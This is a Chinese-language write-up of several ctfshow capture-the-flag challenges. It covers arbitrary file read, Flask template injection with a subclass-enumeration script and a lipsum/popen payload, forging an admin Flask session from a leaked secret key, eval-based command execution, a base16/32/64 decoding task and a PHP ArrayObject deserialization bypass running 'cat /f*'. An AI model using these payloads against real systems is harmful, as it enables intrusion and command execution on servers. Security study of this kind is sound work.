目录
热身
web
easy_signin
easy_ssti
easy_flask
Crypto:
easy_base
复现
easy_php
脑筋急转弯
没有看url,直接F12看源码了,所以多做了一会儿,其实是任意文件读取,img参数传的是base64编码后的文件名,图片源是base64编码后的文件。
传入index,php的base64编码aW5kZXgucGhw,得到index.php,其中包含flag
给了提示下载app.zip
在hello路径后存在ssti注入
简单记录下ssti现阶段的学习步骤
首先ssti注入如何通过已加载类的功能(如果没有就查找父类的其它子类)
文件读取:_frozen_imporlib_external.FileLoader
import requests
url="http://6d312c5b-0236-485b-b16c-44edf9d8e191.challenge.ctf.show/hello/"
for i in range(500):
# url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"
url=url+"{{[].__class__.__base__.__subclasses__()["+str(i)+"]}}"
try:
re=requests.get(url)
if(re.status_code==200):
if '_frozen_importlib_external.FileLoader' in re.text:
print(i)
# else:
# print(re.text)
except:
pass
其中url的组成是[]、''基本类型,然后就是根据魔术方法, __base__是查找父类,__subclasses__()是查找子类,[i]是子类中第几个类
由此通过脚本遍历去获取子类中多少是含有目标类名。
使用["get_data"](0,"app.py")
本题执行:
{{[].__class__.__base__.__subclasses__()[99]["get_data"](0,"app.py")}}
但如果得到/flag由于斜杆的原因会导致url地址错误而不是传参。因此想到了前面做题Linux命令执行绕过 /不是简简单单(参见我前一篇NKctfwp),所以寻找到lipsum
这里用到了flask内置函数lipsum(还有url_for可以直接在payload替换)然后payload:
{{lipsum.__globals__.os.popen('cat `echo "L2ZsYWc="|base64 -d`').read()}}
其实这里还可以同文件读取 去找__builtins__,但用过脚本跑好像没有eval函数,后面做出来也就没深究了。下次ban了lipsum再学(不是)
随便注册一个账号进去发现部分源码,
发现了其中的密钥,并且查看session发现其中有含ey的字符串
结果拿着半截开跑,去jwt官网解密,格式都不对,硬搜,小半天过去了
然后发现是flask好像不对 自己写了一个(flask环境以前装过)
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/')
def login():
session['loggedin'] = True
session['username'] = "admin"
session['role'] = "admin"
return "1"
if __name__ == "__main__":
app.run('127.0.0.1')
访问自己127.0.0.1,拿到session去替换题目的session成功以admin权限进入
发现能够任意下载,但没有/flag,所以尝试命令执行的方法
下载源码,发现可调用eval函数
一开始不知到eval函数如何远程命令执行,下面是找到的方法(注意用popen,system没有回显)
__import__("os").popen("ls /").read()
Payload:
hello/?eval=__import__("os").popen("cat%20/flag_is_h3re").read()
4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35
双修!先从最简单的密码学开始。
题目base,然后密文只有数字和字母A-F
先base16解码,再base32解码,再base64解码
第一眼看以为是关于绕过wakeup+特殊字符的php变量名传参
结果怎么也找不到相关php变量名相关知识和网页。于是就放弃了。。
复盘时发现别人也没做什么就是url编码了,但需要注意两点:
1.仅需要对变量名url编码
2。使用URIComponent,如下图:
然后就是传参进行反序列化,但单单寻常的方式传入并不能有任何反应,所以下面也是知识盲区
"ctfshow类未实现serializable接口",所以 找php中内置的实现了Serializable接口的类,这里使用的是
a = new ctfshow();
echo serialize($a);
?>
//C:11:"ArrayObject":74:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}}}
注意用php在线不能输出同样结果,我用的php7.3.4
输出的直接就是C开头的字符串,所以绕过了正则(好像还能低版本可以在O或a的冒号后的数字前可以加一个+来进行绕过)
所以最终payload:
C:11:"ArrayObject":75:{x:i:0;a:0:{};m:a:1:{s:1:"a";O:7:"ctfshow":1:{s:7:"ctfshow";s:7:"cat /f*";}}}